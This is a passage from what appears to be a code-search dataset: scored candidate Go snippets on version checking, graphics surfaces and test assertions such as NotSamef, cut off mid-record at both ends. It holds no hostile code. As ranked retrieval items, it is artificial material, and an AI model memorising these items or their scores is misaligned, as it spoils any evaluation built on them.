minVersion)\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cc350d1e2624a22dfb8692ae64c17ad5", "score": "0.41759995", "text": "func (this PDFVersion) String() string {\n\treturn C.GoString(C.cairo_pdf_version_to_string(this.c()))\n}", "title": "" }, { "docid": "c2af358ace977e640b2124c0da47bf2c", "score": "0.41757813", "text": "func mustUseDifferentVertexBuffer(nextNumVertexFloats int) bool {\n\treturn nextNumVertexFloats > graphics.MaxVertexFloatsCount\n}", "title": "" }, { "docid": "ce5716f7271526ca765498a57415121c", "score": "0.41612005", "text": "func fVersion(onichan *kchan, msize uint32, version string) (*kchan, error) {\n\tsf := nine.FCall{\n\t\tMsgType: nine.TVersion,\n\t\tTag: mkTag(),\n\t\tMSize: msize,\n\t\tVersion: version,\n\t}\n\n\t// Send, recv, print\n\tres := writeAndRead(onichan.c, &sf)\n\terr := checkMsg(res, nine.RVersion)\n\n\tif err == nil {\n\t\tvar nc kchan\n\t\tnc.c = onichan.c\n\t\treturn &nc, nil\n\t}\n\treturn &kchan{}, errors.New(\"version failed\")\n}", "title": "" }, { "docid": "a8215d97e80dffc0cd1eea5b5bac0680", "score": "0.4154738", "text": "func UlSurfaceLockPixels(surface ULSurface) unsafe.Pointer {\n\tcsurface, csurfaceAllocMap := *(*C.ULSurface)(unsafe.Pointer(&surface)), cgoAllocsUnknown\n\t__ret := C.ulSurfaceLockPixels(csurface)\n\truntime.KeepAlive(csurfaceAllocMap)\n\t__v := *(*unsafe.Pointer)(unsafe.Pointer(&__ret))\n\treturn __v\n}", "title": "" }, { "docid": "a36bd16cef9e51736e2817667021ff98", "score": "0.41536105", "text": "func (self *CanvasTinter) CanHandleAlpha() bool{\n return self.Object.Get(\"canHandleAlpha\").Bool()\n}", "title": "" }, { "docid": "16b30c45e1f85b044a4f418022bba7ed", "score": "0.41510496", "text": "func UlSurfaceClearDirtyBounds(surface ULSurface) {\n\tcsurface, csurfaceAllocMap := *(*C.ULSurface)(unsafe.Pointer(&surface)), cgoAllocsUnknown\n\tC.ulSurfaceClearDirtyBounds(csurface)\n\truntime.KeepAlive(csurfaceAllocMap)\n}", "title": "" }, { "docid": "d7b60698842dab4f69d721f1256fa08f", "score": "0.415073", "text": "func VersionCheck(requiredMajor int32, requiredMinor int32, requiredMicro int32) string {\n\tc_required_major := (C.int)(requiredMajor)\n\n\tc_required_minor := (C.int)(requiredMinor)\n\n\tc_required_micro := (C.int)(requiredMicro)\n\n\tretC := C.pango_version_check(c_required_major, c_required_minor, c_required_micro)\n\tretGo := C.GoString(retC)\n\n\treturn retGo\n}", "title": "" }, { "docid": "760ee22ee812432f27f7f6923862079d", "score": "0.41505718", "text": "func (m *DeviceInfo) SetRenderNotFunctioningEventRatio(value *float32)() {\n err := m.GetBackingStore().Set(\"renderNotFunctioningEventRatio\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "a9a4e75dc480f7971070daf28ac8fb2e", "score": "0.41414863", "text": "func (this *Context) SetSourceSurface(surface SurfaceLike, x, y float64) {\n\tC.cairo_set_source_surface(this.c(), surface.InheritedFromCairoSurface().c(), C.double(x), C.double(y))\n}", "title": "" }, { "docid": "62a97f7a32400528422f448c5b3b0e92", "score": "0.41397676", "text": "func ChromeVideoWithHDRScreen() testing.Precondition { return chromeVideoWithHDRScreenPre }", "title": "" }, { "docid": "994647568a8b25fba2b5d911b7781319", "score": "0.4138272", "text": "func (o *OnDemandWrapper) isOnDemandVersion(version string) bool {\n\tisOnDemandVersion := strings.HasPrefix(version, \"PR-\") ||\n\t\tstrings.HasPrefix(version, \"master-\") ||\n\t\tstrings.EqualFold(version, \"master\")\n\treturn isOnDemandVersion\n}", "title": "" }, { "docid": "5a9487aab6829bd9a693af090ff239be", "score": "0.41324028", "text": "func (check *Checker) verifyVersionf(at poser, v version, format string, args ...interface{}) bool {\n\tif !check.allowVersion(check.pkg, at, v) {\n\t\tcheck.versionErrorf(at, v, format, args...)\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "858ed1a261f8045783268c9e7c4b243e", "score": "0.4128807", "text": "func (check *Checker) allowVersion(pkg *Package, at poser, v version) bool {\n\t// We assume that imported packages have all been checked,\n\t// so we only have to check for the local package.\n\tif pkg != check.pkg {\n\t\treturn true\n\t}\n\n\t// If the source file declares its Go version, use that to decide.\n\tif check.posVers != nil {\n\t\tif src, ok := check.posVers[base(at.Pos())]; ok && src.major >= 1 {\n\t\t\treturn !src.before(v)\n\t\t}\n\t}\n\n\t// Otherwise fall back to the version in the checker.\n\treturn check.version.equal(go0_0) || !check.version.before(v)\n}", "title": "" }, { "docid": "3109157fa1acb2851056830aad10b9fd", "score": "0.4112181", "text": "func (lp *DevPack) setVersionContraints() error {\n\tvc := make([]version.Constraints, len(lp.Versions))\n\n\tfor i, ct := range lp.Versions {\n\t\tc, err := version.NewConstraint(ct)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvc[i] = c\n\t}\n\n\tlp.vc = vc\n\n\treturn nil\n}", "title": "" }, { "docid": "bbdbf41a27fa50f77eae405952dfc0a1", "score": "0.4111397", "text": "func (ghsi *SubscriberItem) checkVersion(chartVersion *repo.ChartVersion) bool {\n\tif ghsi.Subscription != nil {\n\t\tif ghsi.Subscription.Spec.PackageFilter != nil {\n\t\t\tif ghsi.Subscription.Spec.PackageFilter.Version != \"\" {\n\t\t\t\tversion := chartVersion.GetVersion()\n\t\t\t\tversionVersion, err := semver.Parse(version)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tklog.Error(err)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\n\t\t\t\tfilterVersion, err := semver.ParseRange(ghsi.Subscription.Spec.PackageFilter.Version)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tklog.Error(err)\n\t\t\t\t\treturn false\n\t\t\t\t}\n\n\t\t\t\treturn filterVersion(versionVersion)\n\t\t\t}\n\t\t}\n\t}\n\n\tklog.V(4).Info(\"Version check passed for:\", chartVersion)\n\n\treturn true\n}", "title": "" }, { "docid": "58f658526d5e73020c80acaf1d7074e6", "score": "0.41050333", "text": "func ReadFormat31SurfaceV2(data []byte) (*Format31SurfaceV2, error) {\n\n\tif len(data) != 7 {\n\t\treturn nil, fmt.Errorf(\"the data must be 7 bytes long (%v given)\", len(data))\n\t}\n\n\tformatTypeCode := (data[0] & 0xF8) >> 3\n\tif formatTypeCode != adsb.Format31.GetTypeCode() {\n\t\treturn nil, fmt.Errorf(\"the data are given at format %v and can not be read by ReadFormat31SurfaceV2\", formatTypeCode)\n\t}\n\n\tsubType := fields.ReadSubtype(data)\n\tif subType != fields.SubtypeSurface {\n\t\treturn nil, fmt.Errorf(\"the data are given for subtype %v format and can not be read by ReadFormat31SurfaceV2\", subType.ToString())\n\t}\n\n\t// Check the ADSB ReaderLevel\n\tdetectedADSBLevel := fields.ReadVersionNumber(data)\n\tif detectedADSBLevel != fields.ADSBVersion2 {\n\t\treturn nil, fmt.Errorf(\"the data are given at at %v format and can not be read by ReadFormat31SurfaceV2\", detectedADSBLevel.ToString())\n\t}\n\n\tcapabilityContent := (data[1] & 0xC0) >> 6\n\tif capabilityContent != 0 {\n\t\treturn nil, fmt.Errorf(\"the Capability Content (field Capability Class) must be 0 (%v given)\", capabilityContent)\n\t}\n\n\toperationalModeFormat := (data[3] & 0xC0) >> 6\n\tif operationalModeFormat != 0 {\n\t\treturn nil, fmt.Errorf(\"the Operational Mode Format (field Operational Mode) must be 0 (%v given)\", operationalModeFormat)\n\t}\n\n\treturn &Format31SurfaceV2{\n\t\tSurfaceCapabilityClass: fields.ReadSurfaceCapabilityClassV2(data),\n\t\tLengthAndWidth: fields.ReadAircraftLengthAndWidth(data),\n\t\tOperationalMode: fields.ReadSurfaceOperationalMode(data),\n\t\tVersionNumber: fields.ReadVersionNumber(data),\n\t\tNICSupplementA: fields.ReadNICSupplementA(data),\n\t\tNavigationalAccuracyCategoryPosition: fields.ReadNavigationalAccuracyCategoryPositionV2(data),\n\t\tSourceIntegrityLevel: fields.ReadSourceIntegrityLevel(data),\n\t\tTrackAngleHeading: fields.ReadTrackAngleHeading(data),\n\t\tHorizontalReferenceDirection: fields.ReadHorizontalReferenceDirection(data),\n\t\tSourceIntegrityLevelSupplement: fields.ReadSourceIntegrityLevelSupplement(data),\n\t}, nil\n}", "title": "" }, { "docid": "976a1ec4e3353976ed68fc9e211d3b8a", "score": "0.41000688", "text": "func fixTorchCompatibility(compat *config.TorchCompatibility) {\n\tif strings.HasPrefix(compat.Torchvision, \"0.8.0\") {\n\t\tcompat.Torchvision = strings.Replace(compat.Torchvision, \"0.8.0\", \"0.8.1\", -1)\n\t}\n}", "title": "" }, { "docid": "31ebdf26e3b3fe7d3051c54032eb0fd0", "score": "0.40998834", "text": "func FilterByRelease(version string) (CertificateFilter, error) {\n\tverFilter, err := regexp.Compile(version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn func(cm *CertificateMetadata) bool {\n\t\tfor _, rel := range cm.Releases {\n\t\t\tif verFilter.MatchString(rel.Version) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\treturn false\n\t}, nil\n}", "title": "" }, { "docid": "372ad01ac05a4b4f717263d1b7b7b48b", "score": "0.40892112", "text": "func (z *xlMetaV2) AddFreeVersion(fi FileInfo) error {\n\tvar uv uuid.UUID\n\tvar err error\n\tswitch fi.VersionID {\n\tcase \"\", nullVersionID:\n\tdefault:\n\t\tuv, err = uuid.Parse(fi.VersionID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tfor _, version := range z.Versions {\n\t\tswitch version.Type {\n\t\tcase ObjectType:\n\t\t\tif version.ObjectV2.VersionID == uv {\n\t\t\t\t// if uv has tiered content we add a\n\t\t\t\t// free-version to track it for asynchronous\n\t\t\t\t// deletion via scanner.\n\t\t\t\tif freeVersion, toFree := version.ObjectV2.InitFreeVersion(fi); toFree {\n\t\t\t\t\tz.Versions = append(z.Versions, freeVersion)\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5a7832cd0b413938ddf840ac2b93e057", "score": "0.40880334", "text": "func (surface *Surface) Lock() error {\n\tif C.SDL_LockSurface(surface.cptr()) != 0 {\n\t\treturn GetError()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a761a8521a6fda38b1cb80df5c4461fb", "score": "0.40873197", "text": "func (this *Surface) ShowPage() {\n\tC.cairo_surface_show_page(this.c())\n}", "title": "" }, { "docid": "0bbd9d3a9f6822a17a158b2844b2d43f", "score": "0.40806904", "text": "func IsPDF(puid string) bool {\n\tswitch puid {\n\tcase \"fmt/14\", \"fmt/15\", \"fmt/16\", \"fmt/17\", \"fmt/18\", \"fmt/19\", \"fmt/20\", \"fmt/95\", \"fmt/144\", \"fmt/145\", \"fmt/146\", \"fmt/147\", \"fmt/148\", \"fmt/157\", \"fmt/158\", \"fmt/276\", \"fmt/354\", \"fmt/476\", \"fmt/477\", \"fmt/478\", \"fmt/479\", \"fmt/480\", \"fmt/481\", \"fmt/488\", \"fmt/489\", \"fmt/490\", \"fmt/491\", \"fmt/492\", \"fmt/493\":\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "f7d7d0b9fbd61d3d974202472005cd12", "score": "0.4074641", "text": "func ErrIfNotVersionFn(minVersion int, bestAPIVersion int) func(string) error {\n\treturn func(fnName string) error {\n\t\tif minVersion <= bestAPIVersion {\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.NotImplementedf(\"%s(...) requires v%d+\", fnName, minVersion)\n\t}\n}", "title": "" }, { "docid": "5b09ecf14f4dacc8b126888a27a21279", "score": "0.4074612", "text": "func capVersionSlice(s []module.Version) []module.Version {\n\treturn s[:len(s):len(s)]\n}", "title": "" }, { "docid": "9b134c46204fbedfc2b7e10796830d8d", "score": "0.40739024", "text": "func (m *Windows10CompliancePolicy) GetDefenderVersion()(*string) {\n val, err := m.GetBackingStore().Get(\"defenderVersion\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*string)\n }\n return nil\n}", "title": "" }, { "docid": "9dac73b83dae531293f7aa7f8e542618", "score": "0.40631709", "text": "func (n Client) CameraRelease(force bool) {\n}", "title": "" }, { "docid": "40ae70260adf151a36fca97803c4fbc4", "score": "0.4060482", "text": "func enableVer0Cache(ctx context.Context, c wire.Cacher) {\n\tc.Cache(ctx, func(m *wire.Envelope) bool {\n\t\treturn m.Msg.Type() == wire.ChannelUpdateAcc &&\n\t\t\tm.Msg.(*msgChannelUpdateAcc).Version == 0\n\t})\n}", "title": "" }, { "docid": "a591be5487ef0157d46f525ce7c8ed14", "score": "0.4058588", "text": "func allowedVersions(available []Version, required Constraints) []Version {\n\tvar allowed []Version\n\n\tfor _, v := range available {\n\t\tif required.Allows(v) {\n\t\t\tallowed = append(allowed, v)\n\t\t}\n\t}\n\n\treturn allowed\n}", "title": "" }, { "docid": "1c3a6afe9677cd6afa1fbab3c4c1e95a", "score": "0.405249", "text": "func registerNonTileFromSurface(surface *sdl.Surface, id ResourceID) {\n\tregisterResourceFromSurface(surface, id, surface.W, surface.H, false)\n}", "title": "" }, { "docid": "f7f84a63eb9360b1b93c0086a87d0027", "score": "0.40503126", "text": "func (n Client) CameraRelease(force bool) {\n\treturn\n}", "title": "" }, { "docid": "5962ede323b5dc1b8e99ba9e4d550eff", "score": "0.40485978", "text": "func (c client) supportedVersion(obj k8sclient.Object) k8sclient.Object {\n\tif c.Minor < 16 {\n\t\tswitch obj.(type) {\n\n\t\t// Deployment\n\t\tcase *appsv1.Deployment:\n\t\t\treturn &appsv1beta1.Deployment{}\n\n\t\t// DaemonSet\n\t\tcase *appsv1.DaemonSet:\n\t\t\treturn &extv1beta1.DaemonSet{}\n\n\t\t// ReplicaSet\n\t\tcase *appsv1.ReplicaSet:\n\t\t\treturn &extv1beta1.ReplicaSet{}\n\n\t\t// StatefulSet\n\t\tcase *appsv1.StatefulSet:\n\t\t\treturn &appsv1beta1.StatefulSet{}\n\t\t}\n\t}\n\n\tif c.Minor > 24 {\n\t\tswitch obj.(type) {\n\t\tcase *batchv1beta1.CronJob:\n\t\t\treturn &batchv1.CronJob{}\n\t\t}\n\t}\n\n\treturn obj\n}", "title": "" }, { "docid": "7f574ca9f0a71e990916b988ca59dd53", "score": "0.40329713", "text": "func (r *ResourceDefinition) SupportsVersion(version string) bool {\n\tif version == \"\" {\n\t\treturn r.SupportsNoVersion()\n\t}\n\tfor _, v := range r.APIVersions {\n\t\tif v == version {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "d90556f117aad5c51adbea4bf86b052e", "score": "0.4029858", "text": "func UlSurfaceResize(surface ULSurface, width uint32, height uint32) {\n\tcsurface, csurfaceAllocMap := *(*C.ULSurface)(unsafe.Pointer(&surface)), cgoAllocsUnknown\n\tcwidth, cwidthAllocMap := (C.uint)(width), cgoAllocsUnknown\n\tcheight, cheightAllocMap := (C.uint)(height), cgoAllocsUnknown\n\tC.ulSurfaceResize(csurface, cwidth, cheight)\n\truntime.KeepAlive(cheightAllocMap)\n\truntime.KeepAlive(cwidthAllocMap)\n\truntime.KeepAlive(csurfaceAllocMap)\n}", "title": "" }, { "docid": "323e4e59e944a74689b881860f03a2bf", "score": "0.4029502", "text": "func (v View) GetSurface() Resource {\n\treturn Resource(C.wlc_view_get_surface(C.wlc_handle(v)))\n}", "title": "" }, { "docid": "d1a234a70fdde0fddf0f7e90fb179f90", "score": "0.4026836", "text": "func (rd requestDetails) hasScopeVersion(v uint64) bool {\n\treturn rd.ScopeVersion >= v\n}", "title": "" }, { "docid": "774ab83c7b67be86fda75e325cd5e184", "score": "0.40256837", "text": "func validate_ChartVersions_Update_0(ctx context.Context, r json.RawMessage) (err error) {\n\treturn validate_Object_ChartVersion(ctx, r, \"\")\n}", "title": "" }, { "docid": "5e1f566834f7df40d34809d52fbcf0ed", "score": "0.4025113", "text": "func (c *CustomEx) SupportsWithdrawPermissions(_ uint32) bool {\n\treturn false\n}", "title": "" }, { "docid": "a8f20852c1d02ccb91b39ed7c9d12263", "score": "0.40239874", "text": "func (f *Font) release() {\n\tf.font.Release()\n}", "title": "" }, { "docid": "68c6a0bb9e17a388bde1ed87db061a2f", "score": "0.40222037", "text": "func removePreview(socketID uuid.UUID) {\n\n\tif _, ok := pendingPreviews[socketID]; !ok {\n\t\tlog.Printf(\"[Drawing] -> [Error] Cannot remove preview from cache. Cannot find preview with socketID\")\n\t\treturn\n\t}\n\tdelete(pendingPreviews, socketID)\n}", "title": "" }, { "docid": "a35514e6e13c09fe7226b994bec7a687", "score": "0.40189695", "text": "func releaseToKeep(release map[string]interface{}) (bool, error) {\n\tversion, ok := release[\"version\"].(string)\n\tif !ok || version == \"\" {\n\t\treturn false, fmt.Errorf(\"the value of the version is missing for the release %v\", release)\n\t}\n\tminChannelServerVersion, ok := release[\"minChannelServerVersion\"].(string)\n\tif ok && minChannelServerVersion != \"\" {\n\t\tif min, err := semver.ParseTolerant(minChannelServerVersion); err != nil || min.GE(v280) {\n\t\t\treturn false, err\n\t\t}\n\t}\n\tmaxChannelServerVersion, ok := release[\"maxChannelServerVersion\"].(string)\n\tif ok && maxChannelServerVersion != \"\" {\n\t\tif max, err := semver.ParseTolerant(maxChannelServerVersion); err != nil || max.LT(v270) {\n\t\t\treturn false, err\n\t\t}\n\t}\n\treturn true, nil\n}", "title": "" }, { "docid": "3d3ec57bd7083792556c5f8f8407dea7", "score": "0.4008742", "text": "func EnsureVersion(local Version, remote *types.VersionReply) bool {\n\tif remote.Major != local.Major {\n\t\treturn false\n\t}\n\tif remote.Minor != local.Minor {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "5b7101d355562d250c1ac67ae7e1ccdc", "score": "0.40067554", "text": "func (m *Policy) SetVersion(value *string)() {\n err := m.GetBackingStore().Set(\"version\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "4e48134fb5db84fee8c435b7b6c02aa9", "score": "0.40066972", "text": "func SurfaceAttrib(dpy Display, surface Surface, attribute int32, value int32) Boolean {\n\tcdpy, _ := (C.EGLDisplay)(dpy), cgoAllocsUnknown\n\tcsurface, _ := (C.EGLSurface)(surface), cgoAllocsUnknown\n\tcattribute, _ := (C.EGLint)(attribute), cgoAllocsUnknown\n\tcvalue, _ := (C.EGLint)(value), cgoAllocsUnknown\n\t__ret := C.eglSurfaceAttrib(cdpy, csurface, cattribute, cvalue)\n\t__v := (Boolean)(__ret)\n\treturn __v\n}", "title": "" }, { "docid": "907d68083ecfecf30a6ef13b59cba84a", "score": "0.4005237", "text": "func (m *ManagedAppProtection) SetMinimumRequiredAppVersion(value *string)() {\n err := m.GetBackingStore().Set(\"minimumRequiredAppVersion\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "33fa716680830dadf71b5bbfe6f846db", "score": "0.400396", "text": "func New(content cairo.Content, extents cairo.Rectangle) Surface {\n\tcon := C.cairo_content_t(content)\n\textents = extents.Canon()\n\tvar s *C.cairo_surface_t\n\tif extents.Empty() {\n\t\ts = C.cairo_recording_surface_create(con, nil)\n\t} else {\n\t\tr := C.cairo_rectangle_t{\n\t\t\tx: C.double(extents.Min.X),\n\t\t\ty: C.double(extents.Min.Y),\n\t\t\twidth: C.double(extents.Dx()),\n\t\t\theight: C.double(extents.Dy()),\n\t\t}\n\t\ts = C.cairo_recording_surface_create(con, &r)\n\t}\n\treturn cNew(s, extents)\n}", "title": "" }, { "docid": "451b8cfb553352489b74625bf584d0d8", "score": "0.40002167", "text": "func (m *ManagedAppProtection) SetMinimumWarningAppVersion(value *string)() {\n err := m.GetBackingStore().Set(\"minimumWarningAppVersion\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "35d0b991143c25569582332ac66c7e13", "score": "0.39980662", "text": "func registerResourceFromSurface(surface *sdl.Surface, id ResourceID, width, height int32, isTile bool) {\n\tregisterResourceFromSurfaceEx(surface, id, width, height, isTile, false, false)\n}", "title": "" }, { "docid": "9e2be908cd5a649b854229290235f945", "score": "0.39899048", "text": "func (a *APIDefinition) SupportsVersion(ver string) bool {\n\tfound := fmt.Errorf(\"found\")\n\tres := a.IterateVersions(func(v *APIVersionDefinition) error {\n\t\tif v.Version == ver {\n\t\t\treturn found\n\t\t}\n\t\treturn nil\n\t})\n\treturn res == found\n}", "title": "" }, { "docid": "c12593176dfde1a17a3eb061ddbd1067", "score": "0.39896396", "text": "func releaseBranch(ctx context.Context, newBranch string, dryRun bool) error {\n\t// Setup.\n\tts, err := auth.NewDefaultTokenSource(true, auth.SCOPE_GERRIT)\n\tif err != nil {\n\t\treturn skerr.Wrap(err)\n\t}\n\tclient := httputils.DefaultClientConfig().WithTokenSource(ts).Client()\n\trepo := gitiles.NewRepo(common.REPO_SKIA, client)\n\tg, err := gerrit.NewGerrit(gerrit.GerritSkiaURL, client)\n\tif err != nil {\n\t\treturn skerr.Wrap(err)\n\t}\n\n\t// Derive the newly-expired branch name and, in the case of Chrome branches,\n\t// the milestone number, from the new branch name.\n\tvar removeBranch string\n\tif m := chromeBranchMilestoneRegex.FindStringSubmatch(newBranch); len(m) == 2 {\n\t\t// This is a Chrome branch. Parse the current milestone from the branch\n\t\t// name.\n\t\tcurrentMilestone, err := strconv.Atoi(m[1])\n\t\tif err != nil {\n\t\t\treturn skerr.Wrap(err)\n\t\t}\n\t\tremoveBranch = fmt.Sprintf(chromeBranchTmpl, strconv.Itoa(currentMilestone-supportedChromeBranches))\n\t\tif err := updateMilestone(ctx, g, repo, currentMilestone, dryRun); err != nil {\n\t\t\treturn skerr.Wrap(err)\n\t\t}\n\t} else if flutterVersion, err := parseFlutterVersion(newBranch); err == nil {\n\t\t// This is a Flutter branch. Find all Flutter branches and determine\n\t\t// which one has scrolled out of the support window.\n\t\tbranches, err := repo.Branches(ctx)\n\t\tif err != nil {\n\t\t\treturn skerr.Wrap(err)\n\t\t}\n\t\tflutterVersions := make([]semanticVersion, 0, len(branches))\n\t\tfor _, branch := range branches {\n\t\t\tif version, err := parseFlutterVersion(branch.Name); err == nil {\n\t\t\t\tflutterVersions = append(flutterVersions, version)\n\t\t\t}\n\t\t}\n\t\tsort.Sort(sort.Reverse(semanticVersionSlice(flutterVersions)))\n\t\tflutterVersionIdx := -1\n\t\tfor idx, version := range flutterVersions {\n\t\t\tif version == flutterVersion {\n\t\t\t\tflutterVersionIdx = idx\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif flutterVersionIdx < 0 {\n\t\t\treturn skerr.Fmt(\"Unable to find %s in available branches; has it been created?\", newBranch)\n\t\t}\n\t\tdeleteVersionIdx := flutterVersionIdx + supportedFlutterBranches\n\t\tif deleteVersionIdx < len(flutterVersions) {\n\t\t\tdeleteVersion := flutterVersions[deleteVersionIdx]\n\t\t\tremoveBranch = fmt.Sprintf(flutterBranchTmpl, strconv.Itoa(deleteVersion.major), strconv.Itoa(deleteVersion.minor))\n\t\t}\n\t} else {\n\t\treturn skerr.Fmt(\"%q is not a recognized branch name format for Chrome or Flutter; wanted %q or %q\", newBranch, chromeBranchTmpl, flutterBranchTmpl)\n\t}\n\n\tfmt.Println(\"Creating CL to update supported branches...\")\n\tif err := updateSupportedBranches(ctx, g, repo, removeBranch, newBranch, dryRun); err != nil {\n\t\treturn skerr.Wrap(err)\n\t}\n\tfmt.Println(fmt.Sprintf(\"Creating CL to filter out unsupported CQ try jobs on %s...\", newBranch))\n\tif err := updateTryjobs(ctx, g, repo, newBranch, dryRun); err != nil {\n\t\treturn skerr.Wrap(err)\n\t}\n\tif removeBranch != \"\" {\n\t\tfmt.Println(fmt.Sprintf(\"Creating CL to remove CQ on %s\", removeBranch))\n\t\tif err := removeCQ(ctx, g, repo, removeBranch, dryRun); err != nil {\n\t\t\treturn skerr.Wrap(err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "63b5c2a9dfecd6b107bf61c498e7bcb9", "score": "0.39855915", "text": "func (r *reportData) addVersion(versionToAdd string) {\n\tfor _, version := range r.Versions {\n\t\tif version == versionToAdd {\n\t\t\treturn\n\t\t}\n\t}\n\n\tr.Versions = append(r.Versions, versionToAdd)\n}", "title": "" } ]
994ab3b09aa3c8e3ef4b24f880e80434
NotSamef checks if a != b. Behaves according to 'unassert_' build tags. Formats according to a format specifier.
[ { "docid": "72d3f4b05a153aa84a8991e0eadc6b42", "score": "0.80777115", "text": "func NotSamef(a interface{}, b interface{}, format string, v ...interface{}) {\n\tif !enabled {\n\t\t// NOP\n\t\treturn\n\t}\n\n\tif a == b {\n\t\tError(format, v...)\n\t}\n}", "title": "" } ]
[ { "docid": "1ecd93429fbbc1b61b414882dfa41fb4", "score": "0.72722703", "text": "func Samef(a interface{}, b interface{}, format string, v ...interface{}) {\n\tif !enabled {\n\t\t// NOP\n\t\treturn\n\t}\n\n\tif a != b {\n\t\tError(format, v...)\n\t}\n}", "title": "" }, { "docid": "5b6b4655a944fa028d360c3b32a8aa2a", "score": "0.6465887", "text": "func NotSame(a interface{}, b interface{}) {\n\tif !enabled {\n\t\t// NOP\n\t\treturn\n\t}\n\n\tNotSamef(a, b, \"assertion failed: expected two different values, got %v\", a, b)\n}", "title": "" }, { "docid": "69a43895ff09bfbd072a0df69947dd46", "score": "0.6389684", "text": "func NotEqual(t testingT, expected interface{}, actual interface{}, msgf ...interface{}) {\n\tif expected == actual {\n\t\tmsg := titleOrMsgf(\"Is equal\", msgf)\n\t\tmsg += fmt.Sprintf(\"\\n%s: %#v\", msgActual, actual)\n\t\tth.Error(t, 1, msg)\n\t}\n}", "title": "" }, { "docid": "3e6a647ab1fa6d2ed15aa26beebeb0e1", "score": "0.6070874", "text": "func Equalf(expected, actual interface{}, format string, v ...interface{}) {\n\tif expected == actual {\n\t\treturn\n\t}\n\tmsg := fmt.Sprintf(format, v...)\n\tmsg2 := fmt.Sprintf(\"%s\\nexpected %v (type %T), found %v (type %T)\",\n\t\tmsg, expected, expected, actual, actual)\n\toutputAndDie(2, msg2)\n}", "title": "" }, { "docid": "f79dc76fd163e510bb28fb87e4564d1b", "score": "0.604512", "text": "func DeepEqualf(expected, actual interface{}, format string, v ...interface{}) {\n\tif reflect.DeepEqual(expected, actual) {\n\t\treturn\n\t}\n\tmsg := fmt.Sprintf(format, v...)\n\tmsg2 := fmt.Sprintf(\"%s\\nexpected %v (type %T), found %v (type %T)\",\n\t\tmsg, expected, expected, actual, actual)\n\toutputAndDie(2, msg2)\n}", "title": "" }, { "docid": "767ad4c42ba12763619cb9e21914be8d", "score": "0.58893836", "text": "func NotEquals(tb testing.TB, exp, act interface{}, msg string, v ...interface{}) {\n\tif reflect.DeepEqual(exp, act) {\n\t\t_, file, line, _ := runtime.Caller(1)\n\t\tfmt.Printf(\"\\033[31m%s:%d:\\n[\\n%s\\n]\\n\\n\\n\\texp: %#v\\n\\n\\tgot: %#v\\033[39m\\n\\n\", filepath.Base(file), line, fmt.Sprintf(msg, v...), exp, act)\n\t\t//tb.FailNow()\n\t\ttb.Fail()\n\t}\n}", "title": "" }, { "docid": "3496475611569fc2dfa33a55627e575c", "score": "0.58400476", "text": "func NotEqual(t *testing.T, exp, got interface{}) {\n\tet.AssertInner(t, \"\", &et.NotEqual{exp, got}, 2)\n}", "title": "" }, { "docid": "ed5d5659b0956e0b7417adb78be0ed83", "score": "0.5838426", "text": "func NotEqual(got, want interface{}, t *testing.T) {\n\tif reflect.DeepEqual(want, got) {\n\t\tt.Helper()\n\t\tt.Errorf(\n\t\t\t\"Incorrect!\\ngot: %v\\nwant: %v.\\n\",\n\t\t\tgot,\n\t\t\twant,\n\t\t)\n\t}\n}", "title": "" }, { "docid": "c1db2ab11e3c0586c96aa32afa69c470", "score": "0.5786484", "text": "func NotEqual(t *testing.T, expected interface{}, actual interface{}, message string) {\n\tif message == \"\" {\n\t\tmessage = \"Not equal assertion failed\"\n\t}\n\tif actual == expected {\n\t\tt.Fatalf(\"%s - unexpected: %s, actual: %s\", message, expected, actual)\n\t}\n}", "title": "" }, { "docid": "3d784fdc1a51dfc5233c845e682f132c", "score": "0.57167786", "text": "func NotEqual(t *testing.T, testName string, unexpected interface{}, actual interface{}) {\n\tif cmp.Equal(unexpected, actual, cmpoptions()...) {\n\t\tt.Errorf(\"%s objects were not supposed to be equal.\\nUnexpected: %#v\\n Actual: %#v\", testName, unexpected, actual)\n\t}\n}", "title": "" }, { "docid": "545c9036eb991f56d783c9f4ebe2ac2a", "score": "0.5692143", "text": "func Assertf(t *testing.T, ok bool, format string, msg ...interface{}) {\n\tif !ok {\n\t\tt.Errorf(format, msg...)\n\t}\n}", "title": "" }, { "docid": "f5bbf82ea6ceb1f9c56225915061ab7f", "score": "0.5679675", "text": "func AssertNotEqual(t *testing.T, a interface{}, b interface{}, message ...string) {\n\tassert(t, a, b, message, func(a interface{}, b interface{}) bool {\n\t\treturn a != b\n\t})\n}", "title": "" }, { "docid": "a34ce4d0cf1d9c3baced31feb465a859", "score": "0.5569756", "text": "func assertPrintSame(t *testing.T, original string) {\n\tassertPrint(t, original, original)\n}", "title": "" }, { "docid": "4b6de5d672307a0dfc5694541b6fea7e", "score": "0.55547476", "text": "func DiffUnchanged(message string) {\n\tfmt.Println(ansi.LightBlack + \" \" + message + ansi.Reset)\n}", "title": "" }, { "docid": "efa2591bc16d52a8946b3a06ee053106", "score": "0.55478114", "text": "func NotEquali(t *testing.T, msg string, exp, got interface{}) {\n\tet.AssertInner(t, msg, &et.NotEqual{exp, got}, 2)\n}", "title": "" }, { "docid": 